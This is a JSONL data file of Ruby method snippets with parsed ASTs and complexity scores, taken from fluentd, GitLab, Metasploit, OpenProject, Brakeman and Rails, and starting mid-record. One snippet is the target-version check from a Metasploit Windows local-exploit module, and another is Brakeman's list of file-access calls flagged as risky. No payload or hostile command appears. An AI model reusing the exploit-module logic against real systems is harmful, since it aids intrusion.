children\":[\"newer\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"newer\"]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conf\"]},\"has_key?\",{\"type\":\"lvar\",\"children\":[\"older\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"older\"]},\"==\",{\"type\":\"str\",\"children\":[\"buffer_queue_full_action\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conf\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"older\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"exception\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buf_params\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"newer\"]},{\"type\":\"str\",\"children\":[\"throw_exception\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buf_params\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"newer\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conf\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"older\"]}]}]}]},null]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conf\"]},\"[]\",{\"type\":\"str\",\"children\":[\"timezone\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"Timezone\"]},\"validate!\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conf\"]},\"[]\",{\"type\":\"str\",\"children\":[\"timezone\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conf\"]},\"[]\",{\"type\":\"str\",\"children\":[\"utc\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conf\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"localtime\"]},{\"type\":\"str\",\"children\":[\"false\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conf\"]},\"delete\",{\"type\":\"str\",\"children\":[\"utc\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conf\"]},\"[]\",{\"type\":\"str\",\"children\":[\"localtime\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conf\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"timezone\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"strftime\",{\"type\":\"str\",\"children\":[\"%z\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conf\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"localtime\"]},{\"type\":\"str\",\"children\":[\"true\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conf\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"localtime\"]},{\"type\":\"str\",\"children\":[\"false\"]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@_timekey\",{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conf\"]},\"[]\",{\"type\":\"str\",\"children\":[\"time_slice_format\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\%S\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"when\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\%M\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"int\",\"children\":[60]}]},{\"type\":\"when\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\%H\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"int\",\"children\":[3600]}]},{\"type\":\"when\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\%d\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"int\",\"children\":[86400]}]},{\"type\":\"when\",\"children\":[{\"type\":\"nil\",\"children\":[]},{\"type\":\"int\",\"children\":[86400]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"ConfigError\"]},{\"type\":\"str\",\"children\":[\"time_slice_format only with %Y or %m is too long\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buf_params\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"timekey\"]},{\"type\":\"ivar\",\"children\":[\"@_timekey\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conf\"]},\"elements\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"Config\"]},\"Element\"]},\"new\",{\"type\":\"str\",\"children\":[\"buffer\"]},{\"type\":\"str\",\"children\":[\"time\"]},{\"type\":\"lvar\",\"children\":[\"buf_params\"]},{\"type\":\"array\",\"children\":[]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ParserUtils\"]},\"convert_parser_conf\",{\"type\":\"lvar\",\"children\":[\"conf\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FormatterUtils\"]},\"convert_formatter_conf\",{\"type\":\"lvar\",\"children\":[\"conf\"]}]},{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config_style\"]},\"==\",{\"type\":\"sym\",\"children\":[\"v1\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@buffer_config\"]},\"chunk_keys\"]},\"==\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"tag\"]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"ConfigError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"this plugin '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]}]},{\"type\":\"str\",\"children\":[\"' allows <buffer tag> only\"]}]}]},null]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"extend\",{\"type\":\"const\",\"children\":[null,\"TimeSliceChunkMixin\"]}]}]}]}","id":"1389aec0-ef95-4eb6-ab21-bb36ffbd9457"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/api/ci/runners.rb","start_line":82,"raw_source":"def authenticate_enable_runner!(runner)\n          forbidden!(\"Runner is a group runner\") if runner.group_type?\n\n          return if current_user.can_admin_all_resources?\n\n          forbidden!(\"Runner is locked\") if runner.locked?\n          forbidden!(\"No access granted\") unless can?(current_user, :assign_runner, runner)\n        end","complexity_score":13.7,"ast_json":"{\"type\":\"def\",\"children\":[\"authenticate_enable_runner!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"runner\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"runner\"]},\"group_type?\"]},{\"type\":\"send\",\"children\":[null,\"forbidden!\",{\"type\":\"str\",\"children\":[\"Runner is a group runner\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"can_admin_all_resources?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"runner\"]},\"locked?\"]},{\"type\":\"send\",\"children\":[null,\"forbidden!\",{\"type\":\"str\",\"children\":[\"Runner is locked\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"can?\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"sym\",\"children\":[\"assign_runner\"]},{\"type\":\"lvar\",\"children\":[\"runner\"]}]},null,{\"type\":\"send\",\"children\":[null,\"forbidden!\",{\"type\":\"str\",\"children\":[\"No access granted\"]}]}]}]}]}","id":"95578994-8aa3-4692-bdd8-80685ec90bbf"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/batched_git_ref_updates/project_cleanup_worker.rb","start_line":12,"raw_source":"def perform(project_id)\n      stats = ProjectCleanupService.new(project_id).execute\n\n      log_extra_metadata_on_done(:stats, stats)\n    end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"stats\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ProjectCleanupService\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"project_id\"]}]},\"execute\"]}]},{\"type\":\"send\",\"children\":[null,\"log_extra_metadata_on_done\",{\"type\":\"sym\",\"children\":[\"stats\"]},{\"type\":\"lvar\",\"children\":[\"stats\"]}]}]}]}","id":"278c2a32-86c1-46d1-a731-9f57c9fc7b61"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/local/cve_2022_26904_superprofile.rb","start_line":187,"raw_source":"def check_target_is_running_supported_windows_version\n    if !sysinfo['OS'].include?('Windows')\n      fail_with(Failure::NotVulnerable, 'Target is not running Windows!')\n    elsif get_version_info.build_number < Msf::WindowsVersion::Win10_InitialRelease\n      fail_with(Failure::NoTarget, 'Target is running Windows, but not a version this module supports! Bailing...')\n    end\n  end","complexity_score":13.5,"ast_json":"{\"type\":\"def\",\"children\":[\"check_target_is_running_supported_windows_version\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sysinfo\"]},\"[]\",{\"type\":\"str\",\"children\":[\"OS\"]}]},\"include?\",{\"type\":\"str\",\"children\":[\"Windows\"]}]},\"!\"]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NotVulnerable\"]},{\"type\":\"str\",\"children\":[\"Target is not running Windows!\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get_version_info\"]},\"build_number\"]},\"<\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"WindowsVersion\"]},\"Win10_InitialRelease\"]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NoTarget\"]},{\"type\":\"str\",\"children\":[\"Target is running Windows, but not a version this module supports! Bailing...\"]}]},null]}]}]}","id":"889037f6-d88e-4ddb-9a77-2488fb033577"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/auxiliary/web/form.rb","start_line":111,"raw_source":"def to_query( i = self.params )\n    i.map do |k, v|\n      Rex::Text.uri_encode( k.to_s ) + '=' + Rex::Text.uri_encode( v.to_s )\n    end.join( '&' )\n  end","complexity_score":15.0,"ast_json":"{\"type\":\"def\",\"children\":[\"to_query\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"i\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"params\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"i\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]},{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"uri_encode\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"k\"]},\"to_s\"]}]},\"+\",{\"type\":\"str\",\"children\":[\"=\"]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"uri_encode\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]},\"to_s\"]}]}]}]},\"join\",{\"type\":\"str\",\"children\":[\"&\"]}]}]}","id":"7aeea1ae-1670-49be-a2d1-f215bb871422"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/controllers/work_packages/activities_tab_controller.rb","start_line":380,"raw_source":"def generate_time_based_update_streams(last_update_timestamp, editing_journals)\n    journals = @work_package\n                 .journals\n                 .internal_visible\n                 .with_sequence_version\n\n    if @filter == :only_comments\n      journals = journals.where.not(notes: \"\")\n    end\n\n    grouped_emoji_reactions = EmojiReactions::GroupedQueries.grouped_emoji_reactions_by_reactable(\n      reactable_id: journals.pluck(:id), reactable_type: \"Journal\"\n    )\n\n    rerender_updated_journals(journals, last_update_timestamp, grouped_emoji_reactions, editing_journals)\n    rerender_journals_with_updated_notification(journals, last_update_timestamp, grouped_emoji_reactions, editing_journals)\n    insert_latest_journals_via_turbo_stream(journals, last_update_timestamp, grouped_emoji_reactions)\n\n    if journals.present?\n      remove_potential_empty_state\n      update_activity_counter\n    end\n  end","complexity_score":20.7,"ast_json":"{\"type\":\"def\",\"children\":[\"generate_time_based_update_streams\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"last_update_timestamp\"]},{\"type\":\"arg\",\"children\":[\"editing_journals\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"journals\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@work_package\"]},\"journals\"]},\"internal_visible\"]},\"with_sequence_version\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@filter\"]},\"==\",{\"type\":\"sym\",\"children\":[\"only_comments\"]}]},{\"type\":\"lvasgn\",\"children\":[\"journals\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"journals\"]},\"where\"]},\"not\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"notes\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"grouped_emoji_reactions\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"EmojiReactions\"]},\"GroupedQueries\"]},\"grouped_emoji_reactions_by_reactable\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reactable_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"journals\"]},\"pluck\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reactable_type\"]},{\"type\":\"str\",\"children\":[\"Journal\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"rerender_updated_journals\",{\"type\":\"lvar\",\"children\":[\"journals\"]},{\"type\":\"lvar\",\"children\":[\"last_update_timestamp\"]},{\"type\":\"lvar\",\"children\":[\"grouped_emoji_reactions\"]},{\"type\":\"lvar\",\"children\":[\"editing_journals\"]}]},{\"type\":\"send\",\"children\":[null,\"rerender_journals_with_updated_notification\",{\"type\":\"lvar\",\"children\":[\"journals\"]},{\"type\":\"lvar\",\"children\":[\"last_update_timestamp\"]},{\"type\":\"lvar\",\"children\":[\"grouped_emoji_reactions\"]},{\"type\":\"lvar\",\"children\":[\"editing_journals\"]}]},{\"type\":\"send\",\"children\":[null,\"insert_latest_journals_via_turbo_stream\",{\"type\":\"lvar\",\"children\":[\"journals\"]},{\"type\":\"lvar\",\"children\":[\"last_update_timestamp\"]},{\"type\":\"lvar\",\"children\":[\"grouped_emoji_reactions\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"journals\"]},\"present?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"remove_potential_empty_state\"]},{\"type\":\"send\",\"children\":[null,\"update_activity_counter\"]}]},null]}]}]}","id":"7aa61ae0-e79c-4d08-991a-7775ca487370"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/checks/check_file_access.rb","start_line":10,"raw_source":"def run_check\n    Brakeman.debug \"Finding possible file access\"\n    methods = tracker.find_call :targets => [:Dir, :File, :IO, :Kernel, :\"Net::FTP\", :\"Net::HTTP\", :PStore, :Pathname, :Shell], :methods => [:[], :chdir, :chroot, :delete, :entries, :foreach, :glob, :install, :lchmod, :lchown, :link, :load, :load_file, :makedirs, :move, :new, :open, :read, :readlines, :rename, :rmdir, :safe_unlink, :symlink, :syscopy, :sysopen, :truncate, :unlink]\n\n    methods.concat tracker.find_call :target => :YAML, :methods => [:load_file, :parse_file]\n    methods.concat tracker.find_call :target => nil, :method => [:open]\n\n    Brakeman.debug \"Finding calls to load()\"\n    methods.concat tracker.find_call :target => false, :method => :load\n\n    Brakeman.debug \"Finding calls using FileUtils\"\n    methods.concat tracker.find_call :target => :FileUtils\n\n    Brakeman.debug \"Processing found calls\"\n    methods.each do |call|\n      process_result call\n    end\n  end","complexity_score":24.7,"ast_json":"{\"type\":\"def\",\"children\":[\"run_check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Brakeman\"]},\"debug\",{\"type\":\"str\",\"children\":[\"Finding possible file access\"]}]},{\"type\":\"lvasgn\",\"children\":[\"methods\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tracker\"]},\"find_call\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"Dir\"]},{\"type\":\"sym\",\"children\":[\"File\"]},{\"type\":\"sym\",\"children\":[\"IO\"]},{\"type\":\"sym\",\"children\":[\"Kernel\"]},{\"type\":\"sym\",\"children\":[\"Net::FTP\"]},{\"type\":\"sym\",\"children\":[\"Net::HTTP\"]},{\"type\":\"sym\",\"children\":[\"PStore\"]},{\"type\":\"sym\",\"children\":[\"Pathname\"]},{\"type\":\"sym\",\"children\":[\"Shell\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"methods\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"[]\"]},{\"type\":\"sym\",\"children\":[\"chdir\"]},{\"type\":\"sym\",\"children\":[\"chroot\"]},{\"type\":\"sym\",\"children\":[\"delete\"]},{\"type\":\"sym\",\"children\":[\"entries\"]},{\"type\":\"sym\",\"children\":[\"foreach\"]},{\"type\":\"sym\",\"children\":[\"glob\"]},{\"type\":\"sym\",\"children\":[\"install\"]},{\"type\":\"sym\",\"children\":[\"lchmod\"]},{\"type\":\"sym\",\"children\":[\"lchown\"]},{\"type\":\"sym\",\"children\":[\"link\"]},{\"type\":\"sym\",\"children\":[\"load\"]},{\"type\":\"sym\",\"children\":[\"load_file\"]},{\"type\":\"sym\",\"children\":[\"makedirs\"]},{\"type\":\"sym\",\"children\":[\"move\"]},{\"type\":\"sym\",\"children\":[\"new\"]},{\"type\":\"sym\",\"children\":[\"open\"]},{\"type\":\"sym\",\"children\":[\"read\"]},{\"type\":\"sym\",\"children\":[\"readlines\"]},{\"type\":\"sym\",\"children\":[\"rename\"]},{\"type\":\"sym\",\"children\":[\"rmdir\"]},{\"type\":\"sym\",\"children\":[\"safe_unlink\"]},{\"type\":\"sym\",\"children\":[\"symlink\"]},{\"type\":\"sym\",\"children\":[\"syscopy\"]},{\"type\":\"sym\",\"children\":[\"sysopen\"]},{\"type\":\"sym\",\"children\":[\"truncate\"]},{\"type\":\"sym\",\"children\":[\"unlink\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"methods\"]},\"concat\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tracker\"]},\"find_call\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target\"]},{\"type\":\"sym\",\"children\":[\"YAML\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"methods\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"load_file\"]},{\"type\":\"sym\",\"children\":[\"parse_file\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"methods\"]},\"concat\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tracker\"]},\"find_call\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"method\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"open\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Brakeman\"]},\"debug\",{\"type\":\"str\",\"children\":[\"Finding calls to load()\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"methods\"]},\"concat\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tracker\"]},\"find_call\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"method\"]},{\"type\":\"sym\",\"children\":[\"load\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Brakeman\"]},\"debug\",{\"type\":\"str\",\"children\":[\"Finding calls using FileUtils\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"methods\"]},\"concat\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tracker\"]},\"find_call\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target\"]},{\"type\":\"sym\",\"children\":[\"FileUtils\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Brakeman\"]},\"debug\",{\"type\":\"str\",\"children\":[\"Processing found calls\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"methods\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"call\"]}]},{\"type\":\"send\",\"children\":[null,\"process_result\",{\"type\":\"lvar\",\"children\":[\"call\"]}]}]}]}]}","id":"6b96a3d7-d489-4b80-9409-5acdad4c7f9d"}
{"repo_name":"rails","file_path":"./repos/rails/tools/rail_inspector/lib/rail_inspector/changelog.rb","start_line":92,"raw_source":"def no_changes?\n          lines.first == \"*   No changes.\"\n        end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"no_changes?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lines\"]},\"first\"]},\"==\",{\"type\":\"str\",\"children\":[\"*   No changes.\"]}]}]}","id":"5925e5e0-d9f7-4536-b0a9-f026d8678d75"}
{"repo_name":"rails","file_path":"./repos/rails/railties/test/app_loader_test.rb","start_line":8,"raw_source":"def loader\n    @loader ||= Class.new do\n      extend Rails::AppLoader\n\n      class << self\n        attr_accessor :exec_arguments\n\n        def exec(*args)\n          self.exec_arguments = args\n        end\n      end\n    end\n  end","complexity_score":11.4,"ast_json":"{\"type\":\"def\",\"children\":[\"loader\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@loader\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Class\"]},\"new\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"extend\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"AppLoader\"]}]},{\"type\":\"sclass\",\"children\":[{\"type\":\"self\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"attr_accessor\",{\"type\":\"sym\",\"children\":[\"exec_arguments\"]}]},{\"type\":\"def\",\"children\":[\"exec\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"exec_arguments=\",{\"type\":\"lvar\",\"children\":[\"args\"]}]}]}]}]}]}]}]}]}","id":"154d999a-5974-4e15-add8-5e41628821a6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/delete_diff_files_worker.rb","start_line":13,"raw_source":"def perform(merge_request_diff_id)\n    merge_request_diff = MergeRequestDiff.find(merge_request_diff_id)\n\n    return if merge_request_diff.without_files?\n\n    MergeRequestDiff.transaction do\n      MergeRequestDiffFile\n        .where(merge_request_diff_id: merge_request_diff.id)\n        .delete_all\n\n      merge_request_diff.clean!\n    end\n  end","complexity_score":11.4,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"merge_request_diff_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"merge_request_diff\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MergeRequestDiff\"]},\"find\",{\"type\":\"lvar\",\"children\":[\"merge_request_diff_id\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"merge_request_diff\"]},\"without_files?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MergeRequestDiff\"]},\"transaction\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MergeRequestDiffFile\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"merge_request_diff_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"merge_request_diff\"]},\"id\"]}]}]}]},\"delete_all\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"merge_request_diff\"]},\"clean!\"]}]}]}]}]}","id":"710dac5c-ea5d-487f-aa0f-8d528723c05e"}
{"repo_name":"openproject","file_path":"./repos/openproject/db/migrate/20250402083709_change_remote_identities_foreign_key_indices.rb","start_line":32,"raw_source":"def change\n    # Not needed, covered by composite unique index\n    remove_index :remote_identities, :user_id\n\n    # Not needed, we never query for this\n    remove_index :remote_identities, :origin_user_id\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"remove_index\",{\"type\":\"sym\",\"children\":[\"remote_identities\"]},{\"type\":\"sym\",\"children\":[\"user_id\"]}]},{\"type\":\"send\",\"children\":[null,\"remove_index\",{\"type\":\"sym\",\"children\":[\"remote_identities\"]},{\"type\":\"sym\",\"children\":[\"origin_user_id\"]}]}]}]}","id":"d77c65c0-c55c-464f-a57b-55fea8ef7762"}
